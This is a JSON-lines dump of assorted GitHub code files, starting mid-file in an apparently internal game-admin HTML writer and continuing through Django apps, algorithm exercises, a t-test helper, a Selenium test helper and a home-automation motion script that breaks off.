groups.sort()\n groups = map(lambda line: line[1:], groups)\n if groupID is None:\n self.Write(self.WebPart('Groups', self.GetTable([], groups), 'wpGroups'))\n self.WriteDirect(placement, self.WebPart('Categories', self.GetTable([], categories), 'wpCategories'))\n return 0\n if webPart:\n self.WriteDirect(placement, webPart)\n self.WriteDirect(placement, self.WebPart('Groups', self.GetTable([], groups), 'wpGroups'))\n self.WriteDirect(placement, self.WebPart('Categories', self.GetTable([], categories), 'wpCategories'))\n return 1\n\n def SelectCategoryGroupType(self, action, categoryID, groupID, placement = 'rMenu'):\n if self.SelectCategoryGroup(action, categoryID, groupID, placement):\n li = []\n for t in cfg.typesByGroups.get(groupID, []):\n li.append([t.typeID, self.Link('', t.typeName, {'action': action,\n 'categoryID': categoryID,\n 'groupID': groupID,\n 'typeID': t.typeID})])\n\n self.LinesSortByLink(li, 1)\n self.Write(self.WebPart('Types', self.GetTable(['id', 'name'], li), 'wpTypes'))\n\n def SelectRegion(self, action, regionID):\n li = []\n for r in self.DB2.SQL('SELECT * FROM map.regionsDx ORDER BY regionName'):\n bon = ''\n boff = ''\n if r.regionID == regionID:\n bon = ''\n boff = ''\n li.append([bon + self.Link('', self.IsBlank(r.regionName, r.regionID), {'action': action,\n 'regionID': r.regionID}) + boff])\n\n regSel = self.GetTable([], li)\n if regionID is None:\n self.Write(self.WebPart('Select Region', regSel, 'wpRegSel'))\n return 0\n else:\n self.WriteDirect('rMenu', self.WebPart('Regions', regSel, 'wpRegSel'))\n return 1\n\n def SelectRegionConstellation(self, action, regionID, constellationID):\n if self.SelectRegion(action, regionID):\n li = []\n for c in self.DB2.SQLInt('constellationID, constellationName', 'map.constellationsDx', '', 'constellationName', 'regionID', regionID):\n bon = ''\n boff = ''\n if c.constellationID == constellationID:\n bon = ''\n boff = ''\n li.append([bon + self.Link('', self.IsBlank(c.constellationName, c.constellationID), {'action': action,\n 'regionID': regionID,\n 'constellationID': c.constellationID}) + boff])\n\n conSel = self.GetTable([], li)\n if constellationID is None:\n self.Write(self.WebPart('Select Constellation', conSel, 'wpConSel'))\n return 0\n else:\n self.WriteDirect('rMenu', self.WebPart('Constellations', conSel, 'wpConSel'))\n return 1\n\n def SelectRegionConstellationSolarSystem(self, action, regionID, constellationID, solarSystemID):\n if self.SelectRegionConstellation(action, regionID, constellationID):\n li = []\n for s in self.DB2.SQLInt('solarSystemID, solarSystemName', 'map.solarSystemsDx', '', 'solarSystemName', 'constellationID', constellationID):\n bon = ''\n boff = ''\n if s.solarSystemID == solarSystemID:\n bon = ''\n boff = ''\n li.append([bon + self.Link('', self.IsBlank(s.solarSystemName, s.solarSystemID), {'action': action,\n 'regionID': regionID,\n 'constellationID': constellationID,\n 'solarSystemID': s.solarSystemID}) + boff])\n\n solSel = self.GetTable([], li)\n if solarSystemID is None:\n self.Write(self.WebPart('Select Solar System', solSel, 'wpSolSel'))\n return 0\n else:\n self.WriteDirect('rMenu', self.WebPart('Solar Systems', solSel, 'wpSolSel'))\n return 1\n\n def AddTableItem(self, lines, r, owner, location, category = 0, checkBox = 0):\n t = cfg.invtypes.Get(r.typeID)\n g = cfg.invgroups.Get(t.groupID)\n c = cfg.invcategories.Get(g.categoryID)\n cgtn = str(r.typeID) + ': '\n if category:\n if c.categoryName != g.groupName:\n cgtn += c.categoryName + ', '\n if g.groupName == t.typeName:\n cgtn += self.TypeLink(r.typeID, t.typeName)\n else:\n cgtn += g.groupName + ', ' + self.TypeLink(r.typeID, t.typeName)\n itemName = self.SP.EspItemName(0, r.itemID, r.quantity, r.typeID, t.groupID, g.categoryID)\n if itemName != '':\n cgtn += ': ' + itemName + ''\n attr = ''\n if r.quantity < 0:\n attr += ' S'\n if r.quantity != -1:\n attr += self.FontRed(r.quantity)\n else:\n attr += ' %d' % r.quantity\n line = []\n if checkBox == 1:\n line.append('' % r.itemID + ' ' + self.ItemID(r.itemID))\n else:\n line.append(self.ItemID(r.itemID))\n line.append(cgtn)\n if owner:\n ownerName = self.SP.EspItemName(1, r.ownerID)\n if ownerName == '':\n line.append(self.ItemID(r.ownerID))\n else:\n line.append(self.ItemID(r.ownerID) + ': ' + ownerName)\n if location:\n locationName = self.SP.EspItemName(2, r.locationID)\n if locationName == '':\n line.append(self.ItemID(r.locationID))\n else:\n line.append(self.ItemID(r.locationID) + ': ' + locationName)\n line.append('%d: %s' % (r.flagID, self.config.GetFlags(r.flagID).flagName))\n line.append(attr)\n act = ''\n if t.groupID == const.groupCharacter:\n act = self.CharacterLink(r.itemID, 'Character')\n elif t.groupID == const.groupCorporation:\n act = self.CorporationLink(r.itemID, 'Corporation')\n elif t.groupID == const.groupFaction:\n act = self.FactionLink(r.itemID, 'Faction')\n elif t.groupID == const.groupRegion:\n act = self.RegionLink(r.itemID, 'Region')\n elif t.groupID == const.groupConstellation:\n act = self.ConstellationLink(r.itemID, 'Constellation')\n elif t.groupID == const.groupSolarSystem:\n act = self.SystemLink(r.itemID, 'System')\n elif t.groupID == const.groupStation:\n act = self.StationLink(r.itemID, 'Station')\n elif t.groupID == const.groupControlTower:\n act = self.Link('/gm/starbase.py', 'Starbase', {'action': 'Starbase',\n 'towerID': r.itemID})\n elif t.groupID == const.groupPlanet:\n act = self.Link('/gd/universe.py', 'Planet', {'action': 'Planet',\n 'planetID': r.itemID})\n elif t.groupID == const.groupAsteroidBelt:\n act = self.Link('/gd/universe.py', 'Belt', {'action': 'AsteroidBelt',\n 'asteroidBeltID': r.itemID})\n line.append(act)\n lines.append(line)\n\n def AddTypeSelector(self, form, name = '', depth = 'type'):\n self.WriteScript('\\n function replaceOptions(sElement, newOptions)\\n {\\n for (i=document.all[sElement].length; i > -1; i--)\\n {\\n document.all[sElement].options[i]=null\\n }\\n for (i = 0; i < newOptions.length; i += 2)\\n {\\n document.all[sElement].add(new Option( newOptions[i], newOptions[i+1]))\\n }\\n }\\n ')\n self.WriteScript('c=new ActiveXObject(\"Scripting.Dictionary\");\\n')\n self.WriteScript('g=new ActiveXObject(\"Scripting.Dictionary\");\\n')\n s = htmlwriter.UnicodeMemStream()\n for g in cfg.invgroups:\n self.BeNice()\n if g.groupID not in cfg.typesByGroups:\n continue\n typesByGroup = cfg.typesByGroups[g.groupID].Copy()\n typesByGroup.Sort('typeName')\n s.Write('g.Add(\"%d\", new Array(' % g.groupID)\n for t in typesByGroup:\n self.BeNice()\n typeName = t.typeName.replace('\"', \"'\")\n typeName = typeName.replace('\\n', '')\n typeName = typeName.replace('\\r', '')\n s.Write('\"%s\",%d,' % (str(typeName), t.typeID))\n\n s.Seek(s.pos - 1)\n s.Write('));\\n')\n\n cic = {}\n for c in cfg.invcategories:\n self.BeNice()\n if c.categoryID not in cfg.groupsByCategories:\n continue\n groupsByCategory = cfg.groupsByCategories[c.categoryID].Copy()\n groupsByCategory.Sort('groupName')\n cic[c.categoryID] = c.name\n s.Write('c.Add(\"%d\", new Array(' % c.categoryID)\n for g in groupsByCategory:\n self.BeNice()\n s.Write('\"%s\",%d,' % (str(g.groupName.replace('\"', \"'\")), g.groupID))\n\n s.Seek(s.pos - 1)\n s.Write('));\\n')\n\n s.Seek(0)\n self.WriteScript(str(s.Read()))\n form.AddSelect(name + 'categoryid', cic, 'Category', None, 0, 'onChange=\"replaceOptions(\\'' + name + \"groupid',c(this.options[this.selectedIndex].value)); replaceOptions('\" + name + \"typeid',g(document.all['\" + name + 'groupid\\'].options[0].value))\"')\n if depth == 'type' or depth == 'group':\n form.AddSelect(name + 'groupid', {}, 'Group', None, 0, 'onChange=\"replaceOptions(\\'' + name + 'typeid\\',g(this.options[this.selectedIndex].value))\"')\n if depth == 'type':\n form.AddSelect(name + 'typeid', {}, 'Type')\n\n def QuickLinks(self, text):\n pup = re.compile('charid\\\\((\\\\d+)\\\\)', re.IGNORECASE)\n text = pup.sub('\\\\1', text)\n pup = re.compile('userid\\\\((\\\\d+)\\\\)', re.IGNORECASE)\n text = pup.sub('\\\\1', text)\n pup = re.compile('itemid\\\\((\\\\d+)\\\\)', re.IGNORECASE)\n text = pup.sub('\\\\1', text)\n pup = re.compile('petid\\\\((\\\\d+)\\\\)', re.IGNORECASE)\n text = pup.sub('\\\\1', text)\n return text\n\n def GetOwnerImage(self, ownerType, ownerID, width = 128):\n if ownerType == 'Character':\n extension = 'jpg'\n else:\n extension = 'png'\n serverLink = sm.GetService('machoNet').GetGlobalConfig().get('imageserverurl')\n if serverLink == '':\n return\n if serverLink is None:\n serverLink = 'http://%s.dev.image/' % os.environ.get('USERNAME').replace('.', '_').lower()\n serverLink += '%s/%d_%d.%s'\n return serverLink % (ownerType,\n ownerID,\n width,\n extension)\n\n def GetTransferDelay(self):\n transferDelay = self.cache.Setting('Character', 'TransferDelay')\n if transferDelay == '':\n return 10\n return int(transferDelay)\n\n def GetTransferQueue(self, transferQueue, displayLastEmailChange = False, displayLastPasswordChange = False):\n transferDelay = self.GetTransferDelay()\n header = ['Character',\n 'Old User',\n 'New User',\n 'IP Number',\n 'IP Info',\n 'Transfer Requested',\n 'Transfer Delay Ends']\n if displayLastEmailChange:\n header.append('Old User Email Changed (last 7d)')\n if displayLastPasswordChange:\n header.append('Old User Password Changed (last 7d)')\n lines = []\n for item in transferQueue:\n line = [self.CharacterLink(item.characterID),\n '%s (%s)' % (self.UserLink(item.oldUserID), item.oldUserCountryCode),\n '%s (%s)' % (self.UserLink(item.newUserID), item.newUserCountryCode),\n item.ipNumber,\n self.IPAddress(item.ipNumber),\n util.FmtDate(item.created, 'll'),\n util.FmtDate(item.created + transferDelay * HOUR)]\n if displayLastPasswordChange or displayLastEmailChange:\n SQL = '\\n SELECT count=COUNT(*), columnID\\n FROM (SELECT TOP 100 eventDate, columnID\\n FROM zuser.userEvents\\n WHERE userID = %i\\n ORDER BY eventID DESC) AS RES\\n WHERE eventDate > GETUTCDATE() - 7 AND columnID in (205, 206)\\n GROUP BY columnID'\n displayLastEmailChangeText = ''\n displayLastPasswordChangeText = ''\n for row in self.DB2.SQL(SQL % item.oldUserID):\n if row.columnID == 205:\n displayLastEmailChangeText = 'Yes (%i)' % row.count\n if row.columnID == 206:\n displayLastPasswordChangeText = 'Yes (%i)' % row.count\n\n if displayLastEmailChange:\n line.append(displayLastEmailChangeText)\n if displayLastPasswordChange:\n line.append(displayLastPasswordChangeText)\n lines.append(line)\n\n return self.GetTable(header, lines, useFilter=True)\n\n def GetPickerAgent(self, ctrlID, ctrlLabel = None, minLength = 4):\n if ctrlLabel is not None:\n ctrlLabel = self.HTMLEncode(ctrlLabel)\n return self.GetAutoComplete(ctrlID, ctrlLabel, callbackPy='/ds/agentds.py', minLength=minLength)\n\n def GetPickerType(self, ctrlID, ctrlLabel = None, minLength = 4):\n if ctrlLabel is not None:\n ctrlLabel = self.HTMLEncode(ctrlLabel)\n return self.GetAutoComplete(ctrlID, ctrlLabel, callbackPy='/ds/typeds.py', minLength=minLength)\n\n def GetPickerCharacter(self, ctrlID, ctrlLabel = None, minLength = 3):\n if ctrlLabel is not None:\n ctrlLabel = self.HTMLEncode(ctrlLabel)\n return self.GetAutoComplete(ctrlID, ctrlLabel, callbackPy='/ds/characterds.py', minLength=minLength)\n\n def GetPickerOAuthApplication(self, ctrlID, ctrlLabel = None, minLength = 3):\n if ctrlLabel is not None:\n ctrlLabel = self.HTMLEncode(ctrlLabel)\n return self.GetAutoComplete(ctrlID, ctrlLabel, callbackPy='/ds/oauthAppds.py', minLength=minLength)\n\n def GetPickerAffiliate(self, ctrlID, ctrlLabel = None, minLength = 3):\n if ctrlLabel is not None:\n ctrlLabel = self.HTMLEncode(ctrlLabel)\n return self.GetAutoComplete(ctrlID, ctrlLabel, callbackPy='/ds/affiliateds.py', minLength=minLength)\n\n def GetPickerStation(self, ctrlID, ctrlLabel = None, minLength = 3):\n if ctrlLabel is not None:\n ctrlLabel = self.HTMLEncode(ctrlLabel)\n return self.GetAutoComplete(ctrlID, ctrlLabel, callbackPy='/ds/stationds.py', minLength=minLength)\n\n def GetPickerCorporation(self, ctrlID, ctrlLabel = None, minLength = 3):\n if ctrlLabel is not None:\n ctrlLabel = self.HTMLEncode(ctrlLabel)\n return self.GetAutoComplete(ctrlID, ctrlLabel, callbackPy='/ds/corporationds.py', minLength=minLength)\n\n def GetPickerRegion(self, ctrlID, ctrlLabel = None, minLength = 3):\n if ctrlLabel is not None:\n ctrlLabel = self.HTMLEncode(ctrlLabel)\n return self.GetAutoComplete(ctrlID, ctrlLabel, callbackPy='/ds/regionds.py', minLength=minLength)\n\n def GetPickerConstellation(self, ctrlID, ctrlLabel = None, minLength = 3):\n if ctrlLabel is not None:\n ctrlLabel = self.HTMLEncode(ctrlLabel)\n return self.GetAutoComplete(ctrlID, ctrlLabel, callbackPy='/ds/constellationds.py', minLength=minLength)\n\n def GetPickerSolarSystem(self, ctrlID, ctrlLabel = None, minLength = 3):\n if ctrlLabel is not None:\n ctrlLabel = self.HTMLEncode(ctrlLabel)\n return self.GetAutoComplete(ctrlID, ctrlLabel, callbackPy='/ds/solarsystemds.py', minLength=minLength)\n\n def GetPickerDistrict(self, ctrlID, ctrlLabel = None, minLength = 3):\n if ctrlLabel is not None:\n ctrlLabel = self.HTMLEncode(ctrlLabel)\n return self.GetAutoComplete(ctrlID, ctrlLabel, callbackPy='/ds/districtds.py', minLength=minLength)\n\n def AppGetAwayStatusTextForCharacter(self, characterID):\n if not characterID:\n return ''\n try:\n afkStatus = ''\n charMod = characterID % const.CHARNODE_MOD\n charNodeID = sm.GetService('machoNet').GetNodeFromAddress(const.cluster.SERVICE_CHARACTER, charMod)\n afkTime = self.session.ConnectToRemoteService('charMgr', charNodeID).IsCharacterAFK(characterID)\n if afkTime:\n diff = blue.os.GetWallclockTime() - afkTime\n afkStatus = ' · Away for %s, since %s' % (util.FmtTimeEng(diff), util.FmtDateEng(afkTime, 'ns'))\n except Exception as e:\n afkStatus = 'Error: %s' % e\n\n return afkStatus\n\n\nif macho.mode == 'server':\n\n class MlsHtmlWriter(ESPHtmlWriter):\n __guid__ = 'htmlwriter.MlsHtmlWriter'\n\n def __init__(self, template = 'script:/wwwroot/lib/template/baseNoRight.html', page = ''):\n ESPHtmlWriter.__init__(self, template, 'MLS', page)\n\n\n class GMHtmlWriter(ESPHtmlWriter):\n __guid__ = 'htmlwriter.GMHtmlWriter'\n\n def __init__(self, template = 'script:/wwwroot/lib/template/base.html', page = ''):\n ESPHtmlWriter.__init__(self, template, 'GM', page)\n\n def WriteLeftMenu(self, action):\n pass\n\n def WriteRightMenu(self):\n pass\n\n def CategorySelector(self, selectName, selectedCategoryID = None, submitOnChange = False):\n categories = []\n parents, childs, descriptions, billinCategories = self.petitioner.GetCategoryHierarchicalInfo()\n for parentID in parents:\n categories.append([parentID, parents[parentID], True])\n for childID in childs[parentID]:\n categories.append([childID, childs[parentID][childID], False])\n\n selectorHTML = ''.format(obj.pk))\n\n delete.allow_tags = True\n delete.short_description ='Delete Profolio'\n def image_tag(self,obj):\n if obj.get_image_video() =='mp4':\n return format_html(f'''\n \n ''')\n else:\n return format_html(f'\"alt\"')\n \n image_tag.allow_tags = True\n image_tag.short_description = 'Image / Video'\n list_per_page = 10\n search_fields = (\"title\",\"technology\")\n list_display = (\"title\",\"technology\",\"image_tag\",\"uploaded_at\",\"delete\")\n list_editable = (\"technology\",)\n\n\nadmin.site.register(Portfolio,PortfolioAdmin)\nadmin.site.register(Career)\nadmin.site.site_header = \"Vcodify Admin Dashboard\"\nadmin.site.site_title = \"Vcodify Admin Dashboard\"\nadmin.site.index_title = \"Welcome to Vcodify Admin Dashboard\"","repo_name":"mapplecode/vcodify","sub_path":"core/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13962841024","text":"from django.conf.urls import url\nimport views\n\nurlpatterns=[\n\turl(r'^$', views.courses),\n\turl(r'^create$', views.create),\n\turl(r'^destory/(?P\\d+)$', views.confirm),\n\turl(r'^destory/(?P\\d+)/remove$', views.remove),\n url(r'^(?P\\d+)/comments$', views.comments),\n\turl(r'^(?P\\d+)/comments/create$', views.create_comments),\n]","repo_name":"arsiag/Django-Courses","sub_path":"apps/courses/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32178504212","text":"# Given the head of a singly linked list and two integers left and right where left <= right,\n# reverse the nodes of the list from position left to position right, and return the reversed list.\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def reverseBetween(self, head, left, right):\n dummy = ListNode(0)\n dummy.next = head\n\n prev = dummy\n curr = dummy.next\n for i in range(1, left):\n prev = curr\n curr = curr.next\n\n for i in range(right - left):\n temp = curr.next\n curr.next = temp.next\n temp.next = prev.next\n prev.next = temp\n return dummy.next\n","repo_name":"tharun-vemula/programming","sub_path":"Problems/ReverseLinkedList.py","file_name":"ReverseLinkedList.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24744549328","text":"# Given a 32-bit signed integer, reverse digits of an integer.\n\nclass Solution:\n def reverse(self, x: int) -> int:\n if x>0:\n a = int(str(x)[::-1])\n if x<=0: \n a = -1*int(str(x*-1)[::-1])\n \n if a in range(-2**31, (2**31)-1):\n return a\n else:\n return 0\n ","repo_name":"vatsaashwin/Algorithms","sub_path":"reverseInt.py","file_name":"reverseInt.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32841904115","text":"import numpy as np\nimport pandas as pd\nfrom pandas import Series, DataFrame\nfrom scipy import stats\n\nclass Ttest1():\n \"\"\"\n pairwise t-test without any corrections\n first argument is the dataframe with MultiIndex and values to test\n 'gbg': name of groupby column\n 'cpg': name of column to contain groups to be compared with its first group value\n 'value': name of column containing the values to be compared\n 'ctrl': group value in cpg used as control group when doing pairwise comparison\n return 'pvalue', 'psign'\n 'pvalue': dataframe containing p-value from pairwise t-test\n 'psign': convert 'pvalue' dataframe to a new dataframe with '*'\n '': >= 0.05, '*': <0.05>=0.01, '**': <0.01>=0.001, '***': <0.001>=0.0001, '****': <0.0001\n \"\"\"\n \n def __init__(self, df, value):\n self.df = df\n self.value = value\n\n def onetotwo(self, df):\n df1 = df.reset_index(level=['Grp', 'Sample'])\n df1['Grp1'] = df1['Grp'].apply(lambda x: x.split()[1])\n df1['Grp2'] = df1['Grp'].apply(lambda x: x.split()[0])\n df1 = df1.drop('Grp', axis=1)\n df1 = df1.set_index(['Grp1', 'Grp2', 'Sample'], append=True)\n return df1\n\n def ttest_1(self, gbg='Condi', cpg='Treat', ctrl='control'):\n df1 = self.onetotwo(self.df).reset_index([gbg, cpg])\n group1 = list(set(df1[gbg]))\n group2 = list(set(df1[cpg]))\n tt2 = np.ones((len(group1), len(group2)))\n pv2 = np.ones((len(group1), len(group2)))\n for i, g1 in enumerate(group1):\n group = df1[(df1[gbg]==g1)]\n for j, g2 in enumerate(group2):\n tt2[i,j], pv2[i, j] = stats.ttest_ind(group[self.value][group[cpg]==ctrl], group[self.value][group[cpg]==g2])\n \n pv3 = pd.DataFrame(pv2, index=group1, columns=group2)\n \n ps = range(len(pv3))\n\n for m in list(np.arange(len(pv3))):\n ps[m] = Series(pd.cut(pv3.ix[m, :], [0, 0.0001, 0.001, 0.01, 0.05, 1], right=False, labels=['****', '***', '**', '*', '']))\n\n psign = pd.DataFrame(ps)\n psign.index = group1\n psign.columns = group2\n\n pvalue = pv3.copy()\n\n return pvalue, psign\n","repo_name":"josephyan123/quantitative-gene-expression","sub_path":"ttest/ttest1.py","file_name":"ttest1.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2813291547","text":"from selenium.webdriver.common.by import By\nfrom seleniumbase import BaseCase\n\nfrom tests.end2end.helpers.screens.document.form_edit_grammar import (\n Form_EditGrammar,\n)\nfrom tests.end2end.helpers.screens.screen import Screen\n\n\nclass Screen_Document(Screen): # pylint: disable=invalid-name\n def __init__(self, test_case: BaseCase) -> None:\n assert isinstance(test_case, BaseCase)\n super().__init__(test_case)\n\n # overridden for Screen_Document\n\n def assert_on_screen_document(self) -> None:\n super().assert_on_screen(\"document\")\n\n def assert_empty_document(self) -> None:\n super().assert_empty_view(\"document-root-placeholder\")\n\n def assert_not_empty_document(self) -> None:\n super().assert_not_empty_view(\"document-root-placeholder\")\n\n # Actions on the page\n\n def do_export_reqif(self) -> None:\n self.test_case.click_xpath(\n '(//*[@data-testid=\"document-export-reqif-action\"])'\n )\n\n # Open forms\n\n def do_open_modal_form_edit_grammar(self) -> Form_EditGrammar:\n self.test_case.assert_element_not_present(\"//sdoc-modal\", by=By.XPATH)\n self.test_case.click_xpath(\n '(//*[@data-testid=\"document-edit-grammar-action\"])'\n )\n self.test_case.assert_element(\n \"//sdoc-modal\",\n by=By.XPATH,\n )\n return Form_EditGrammar(self.test_case)\n","repo_name":"strictdoc-project/strictdoc","sub_path":"tests/end2end/helpers/screens/document/screen_document.py","file_name":"screen_document.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":111,"dataset":"github-code","pt":"32"} +{"seq_id":"7440957723","text":"#Created by kenneth Zeng \n#the purpos of these code is for quick study for prepaing interview or catch up for job or refresh memory. sometime, easy code is fast to catch up \n#method overloading; double check with other lanague like java and c\n#sum(a, b) \n#sume(a, b,c) or more parameter\n\n\nclass Student:\n\n def __init__(self, m1, m2):\n self.m1= m1\n self.m2 = m2 \n\n\n def sum(self, a=None,b=None, c=None):\n if a != None and b != None and c != None:\n s = a + b + c\n elif a != None and b != None:\n s = a +b \n elif a != None: \n s = a\n return s\n\n\n\n\ns1 = Student(58,59)\n\nprint(s1.sum(6, 9)) #15\nprint(s1.sum(5)) #5\nprint(s1.sum(6,7, 5)) #18","repo_name":"kennethyzeng/pythonByTopics_N_SmallProjects","sub_path":"A001_OOP/polymorphism_methodOverloading.py","file_name":"polymorphism_methodOverloading.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38111242898","text":"# Time complexity: O(m*n)\n# Space complexity:O(m*n)\n# m is the length of coins\n# n is the amount\n\nclass Solution:\n def change(self, amount: int, coins: List[int]) -> int:\n rows = len(coins) + 1\n columns = amount + 1\n \n dp = [[0 for j in range(amount + 1)] for i in range(len(coins) + 1)]\n \n for i in range(len(dp)):\n dp[i][0] = 1\n \n for i in range(1,len(dp)):\n for j in range(1,len(dp[0])):\n \n if j < coins[i-1]:\n # till we have not reached the denomination of the coin\n dp[i][j] = dp[i-1][j]\n \n else:\n dp[i][j] = dp[i-1][j] + dp[i][j - coins[i-1]]\n \n return dp[len(dp) - 1][len(dp[0]) - 1]","repo_name":"sahilshembekar/LeetCode-Problems","sub_path":"518-Coin-Change-2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"44157647177","text":"#!/usr/bin/python3\n\nfrom googlesearch import search\nimport re\nfrom stackapi import StackAPI\n\nquery=input('enter you want to search')\ndata=search(query+' stackoverflow',num=10,tld=\"com\",stop=10)\nquestions=[]\nfor url in data:\n\tif re.search('stackoverflow.com',url)!=None:\n\t\tquestions.append(url)\nquestions_ids=[]\nfor url in questions:\n\tq_id=url.split('/')[4]\n\tquestions_ids.append(q_id)\n\t\nsite = StackAPI('stackoverflow')\nans_list=[]\nlength=len(questions_ids)\nall_answers=site.fetch('questions/{ids}/answers',filter='!9Z(-wzftf',ids=questions_ids)\nitems=all_answers['items']\nfor answer in items:\n\tif answer['is_accepted']==True:\n\t\tans_list.append(answer['body_markdown'])\nfor i in ans_list:\n\tprint(i)\n\tprint('\\n\\n')\n\n\n","repo_name":"puneetmanghwani/stackoverflow","sub_path":"search_get_ans.py","file_name":"search_get_ans.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21119478525","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django import forms\n\nfrom . import util\n\nimport markdown2\nimport random\n\nclass NewEntryForm(forms.Form):\n title = forms.CharField(label=\"Title\", widget=forms.TextInput(attrs={'class': 'form-control col-md-10 col-lg-10'}))\n content = forms.CharField(label=\"\",widget=forms.Textarea(attrs={'class': 'form-control col-md-10 col-lg-10', 'rows': 12}))\n edit = forms.BooleanField(initial=False, widget=forms.HiddenInput(), required=False)\n\ndef createEntry(request):\n if request.method != \"POST\":\n return render(request,\"encyclopedia/new_entry.html\", {\"form\": NewEntryForm()})\n else:\n form = NewEntryForm(request.POST)\n\n if form.is_valid():\n title = form.cleaned_data[\"title\"]\n content = form.cleaned_data[\"content\"]\n\n if(util.get_entry(title) is None or form.cleaned_data[\"edit\"] is True):\n util.save_entry(title,content)\n return HttpResponseRedirect(reverse(\"entry\", kwargs={'title': title}))\n else:\n return render(request, \"encyclopedia/new_entry.html\", {\n \"form\": form,\n \"existing\": True,\n \"entry\": title\n })\n else:\n return render(request, \"encyclopedia/new_entry.html\", {\"form\": form})\n\ndef editEntry(request, title):\n entry = util.get_entry(title)\n \n if entry is None:\n return render(request, \"encyclopedia/missing_entry.html\", {\n \"title\": title \n })\n else:\n form = NewEntryForm()\n form.fields[\"title\"].initial = title\n form.fields[\"content\"].initial = entry\n form.fields[\"edit\"].initial = True\n\n return render(request, \"encyclopedia/new_entry.html\", {\n \"form\": form,\n \"title\": title,\n \"edit\": form.fields[\"edit\"].initial\n })\n\ndef entry(request, title):\n entry = util.get_entry(title)\n \n if entry != None:\n return render(request, \"encyclopedia/entry.html\", {\n \"entry\": markdown2.markdown(entry), \"title\": title\n })\n else:\n return render(request, \"encyclopedia/missing_entry.html\", {\n \"title\": title\n })\n\ndef index(request):\n return render(request, \"encyclopedia/index.html\", {\n \"entries\": util.list_entries()\n })\n\ndef randomEntry(request):\n entries = util.list_entries()\n randomEntry = random.choice(entries)\n\n return HttpResponseRedirect(reverse(\"entry\", kwargs={'title': randomEntry}))\n\ndef search(request):\n searched_entry = request.GET.get('q','')\n\n if(util.get_entry(searched_entry) is not None):\n return HttpResponseRedirect(reverse(\"entry\", kwargs={'title': searched_entry }))\n else:\n matchingEntries = []\n\n for entry in util.list_entries():\n if searched_entry.upper() in entry.upper():\n matchingEntries.append(entry)\n\n return render(request, \"encyclopedia/index.html\", {\n \"entries\": matchingEntries, \"searched_entry\": searched_entry\n })","repo_name":"Fractalbuilder/Wiki","sub_path":"encyclopedia/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9456483092","text":"\"\"\"\nMotion sensors to control the stairway lights going up.\n\"\"\"\n\nimport appdaemon.plugins.hass.hassapi as hass\n\nclass MotionClass(hass.Hass):\n\n def initialize(self):\n # Motion sensors.\n\n self.motion_sensors = [\n \"binary_sensor.presence_entrance\", # Entrance Motion Sensor\n \"binary_sensor.presence_top_floor_stairway\" # Top Floor Stairs Motion Sensor\n ]\n\n self.illumination_sensors = [\n \"sensor.lightlevel_top_floor_stairway\" # Top Floor Stairs Motion Illumination Sensor\n ]\n\n for entity in self.motion_sensors:\n self.listen_state(self.motionTrigger,entity)\n\n for entity in self.illumination_sensors:\n self.listen_state(self.motionTrigger,entity)\n\n self.listen_state(self.inpuBoolean,\"input_boolean.top_floor_lights_motion_control\")\n\n\n def areWeAwake(self, entity):\n \"\"\" Check whether anyone is awake\"\"\"\n if self.get_state(entity) == \"on\":\n return True\n\n # Returns value of state as integer. Might need to remove the \"float\" is you get errors.\n def getIntegerState(self, entity_id):\n \"\"\" Get integer of illumination state\"\"\"\n try:\n return int(float(self.get_state(entity_id)))\n except ValueError:\n return 0\n\n def motionTrigger(self, entity, attribute, old, new, kwargs):\n \"\"\" Turn on/off lights\"\"\"\n sensor_1_state = self.get_state(\"binary_sensor.presence_entrance\") # Entrance Motion\n sensor_2_state = self.get_state(\"binary_sensor.presence_top_floor_stairway\") # Top Floor Stairs Motion Sensor\n\n awake = self.areWeAwake(\"light.living_room_lights\")\n party_mode = self.get_state('input_boolean.party_mode') == 'on'\n workday = self.get_state('sensor.workday_actual') == 'on'\n workday_tomorrow= self.get_state('sensor.workday_actual', attribute='workday_tomorrow') == 'on'\n\n # if party_mode:\n # if new == 'on':\n # self.turn_on(\"light.stairway_up\",brightness=255,kelvin=2700)\n # else:\n # self.turn_off(\"light.stairway_up\")\n\n if entity == \"binary_sensor.presence_entrance\" and new == 'on':\n # if sensor_2_state == 'off':\n if party_mode:\n self.turn_on(\"light.stairway_up\",brightness=255,kelvin=2700)\n elif self.now_is_between('07:00:00', '09:00:00'):\n if workday:\n self.turn_on(\"light.stairway_up\",brightness=255,kelvin=2700)\n elif self.now_is_between('09:00:00', '22:00:00'):\n self.turn_on(\"light.stairway_up\",brightness=255,kelvin=2700)\n elif self.now_is_between('22:00:00', '07:00:00'):\n if awake:\n self.turn_on(\"light.stairway_up\",brightness=255,kelvin=2700)\n # else:\n # self.turn_on(\"light.stairway_up\",brightness=10,kelvin=2200)\n\n\n elif entity == \"binary_sensor.presence_top_floor_stairway\" and new == 'on':\n if party_mode:\n 